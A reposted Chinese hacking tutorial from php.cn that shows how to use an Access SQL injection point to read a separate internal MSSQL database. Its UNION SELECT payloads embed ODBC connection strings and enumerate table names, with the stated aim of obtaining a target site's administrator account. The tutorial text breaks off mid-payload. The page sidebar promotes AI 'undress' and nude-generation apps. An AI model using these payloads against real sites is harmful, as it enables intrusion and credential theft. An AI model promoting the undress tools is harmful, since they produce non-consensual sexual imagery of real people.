Home Database Mysql Tutorial Access注射点读取MSSQL数据库内容

Access注射点读取MSSQL数据库内容

Jun 07, 2016 pm 03:16 PM
access mssql content database read first

首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。 经常会遇到任意文件下载漏洞,一般处理的方法是把 数据库 连接文件下载回来,然后远程连接上去。最理想的状态莫过于MSSQL和MYSQL,尤其是在 数据库

首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。

经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上去。最理想的状态莫过于MSSQL和MYSQL,尤其是在数据库 和WEB不分离的情况下,备分SHELL,导出SHELL,可以用的方法很多。不过要是数据库和WEB分离,而且数据库在内网不可上网,或者有防火墙等等 其他手段使得我们无法连上远程数据库时,不妨假设的再艰难一些,甚至无法找到一个mssql注射点时,很多情况下通常会束手无策。

这里以 MSSQL为例子,很凑巧找到一个任意文件下载漏洞,直接下了WEB.CONFIG回来看,发现数据库在内网,找了半天没找到注射点,稍微旁注一下,有一 个站,可惜是ACCESS数据库。猜不到表和后台。不过目标站的后台是知道的,然后准备从这个access注射点读出目标站管理员帐户。直观一些,下面直 接给出我本地测试结果:

如图

Access<strong>注射</strong>点<strong>读取</strong>MSSQL<strong>数据库</strong><strong>内容</strong>

弄的简单一点,就3个字段,ID,XM,XB,ID数字型,后面2个字符型。

假设存在漏洞的文件中,执行SQL语句 select * from test whrere id = 1

这里有3个字段,我们用UNION联合查询给他匹配一下就是(黑盒操作时用order by 或者穷举来确定字段个数)

SELECT * FROM test where id=999999 union Select top 1 1,2,name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].ku 

这里的master库中我建立了一个名为KU的表,上面这个查询语句中,由于id=999999不存在,在联合查询的作用下,web上原本显示access数据库内容的位置显示出了我们构造的UNION查询结果,name字段处于一个字符型的显示位置

如图

Access<strong>注射</strong>点<strong>读取</strong>MSSQL<strong>数据库</strong><strong>内容</strong>

ku这个表里的name字段内容就会被显示在web上相应的位置,不过这个显然不是我们想要的,我们要的是整个表的结构和内容

以master为例子,这里是模拟的结果,事先我已经知道master的结构,待会方便和结果比对校验是否有错,如图

Access<strong>注射</strong>点<strong>读取</strong>MSSQL<strong>数据库</strong><strong>内容</strong>

SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables  

这样master库的第一个表名就出来了

如图

Access<strong>注射</strong>点<strong>读取</strong>MSSQL<strong>数据库</strong><strong>内容</strong>

获得后面的表名也很简单

SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in (select top 1 table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables) 

如图

Access<strong>注射</strong>点<strong>读取</strong>MSSQL<strong>数据库</strong><strong>内容</strong>

以次类以常规方法推取得字段名和字段内容,代码烦琐自行研究下。

如果数据库里的ID是字符型,则

SELECT * FROM test where id=’999999’ union Select top 1 1,2,table_name from [ODBC

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to disable background applications in Windows 11_Windows 11 tutorial to disable background applications How to disable background applications in Windows 11_Windows 11 tutorial to disable background applications May 07, 2024 pm 04:20 PM

1. Open settings in Windows 11. You can use Win+I shortcut or any other method. 2. Go to the Apps section and click Apps & Features. 3. Find the application you want to prevent from running in the background. Click the three-dot button and select Advanced Options. 4. Find the [Background Application Permissions] section and select the desired value. By default, Windows 11 sets power optimization mode. It allows Windows to manage how applications work in the background. For example, once you enable battery saver mode to preserve battery, the system will automatically close all apps. 5. Select [Never] to prevent the application from running in the background. Please note that if you notice that the program is not sending you notifications, failing to update data, etc., you can

How to convert deepseek pdf How to convert deepseek pdf Feb 19, 2025 pm 05:24 PM

DeepSeek cannot convert files directly to PDF. Depending on the file type, you can use different methods: Common documents (Word, Excel, PowerPoint): Use Microsoft Office, LibreOffice and other software to export as PDF. Image: Save as PDF using image viewer or image processing software. Web pages: Use the browser's "Print into PDF" function or the dedicated web page to PDF tool. Uncommon formats: Find the right converter and convert it to PDF. It is crucial to choose the right tools and develop a plan based on the actual situation.

How does the Java reflection mechanism modify the behavior of a class? How does the Java reflection mechanism modify the behavior of a class? May 03, 2024 pm 06:15 PM

The Java reflection mechanism allows programs to dynamically modify the behavior of classes without modifying the source code. By operating the Class object, you can create instances through newInstance(), modify private field values, call private methods, etc. Reflection should be used with caution, however, as it can cause unexpected behavior and security issues, and has a performance overhead.

How to read dbf file in oracle How to read dbf file in oracle May 10, 2024 am 01:27 AM

Oracle can read dbf files through the following steps: create an external table and reference the dbf file; query the external table to retrieve data; import the data into the Oracle table.

Common exception types and their repair measures in Java function development Common exception types and their repair measures in Java function development May 03, 2024 pm 02:09 PM

Common exception types and their repair measures in Java function development During the development of Java functions, various exceptions may be encountered, which affect the correct execution of the function. The following are common exception types and their repair measures: 1. NullPointerException Description: Thrown when accessing an object that has not been initialized. Fix: Make sure you check the object for non-null before using it. Sample code: try{Stringname=null;System.out.println(name.length());}catch(NullPointerExceptione){

iOS 18 adds a new 'Recovered' album function to retrieve lost or damaged photos iOS 18 adds a new 'Recovered' album function to retrieve lost or damaged photos Jul 18, 2024 am 05:48 AM

Apple's latest releases of iOS18, iPadOS18 and macOS Sequoia systems have added an important feature to the Photos application, designed to help users easily recover photos and videos lost or damaged due to various reasons. The new feature introduces an album called "Recovered" in the Tools section of the Photos app that will automatically appear when a user has pictures or videos on their device that are not part of their photo library. The emergence of the "Recovered" album provides a solution for photos and videos lost due to database corruption, the camera application not saving to the photo library correctly, or a third-party application managing the photo library. Users only need a few simple steps

Detailed tutorial on establishing a database connection using MySQLi in PHP Detailed tutorial on establishing a database connection using MySQLi in PHP Jun 04, 2024 pm 01:42 PM

How to use MySQLi to establish a database connection in PHP: Include MySQLi extension (require_once) Create connection function (functionconnect_to_db) Call connection function ($conn=connect_to_db()) Execute query ($result=$conn->query()) Close connection ( $conn->close())

How to handle database connection errors in PHP How to handle database connection errors in PHP Jun 05, 2024 pm 02:16 PM

To handle database connection errors in PHP, you can use the following steps: Use mysqli_connect_errno() to obtain the error code. Use mysqli_connect_error() to get the error message. By capturing and logging these error messages, database connection issues can be easily identified and resolved, ensuring the smooth running of your application.

See all articles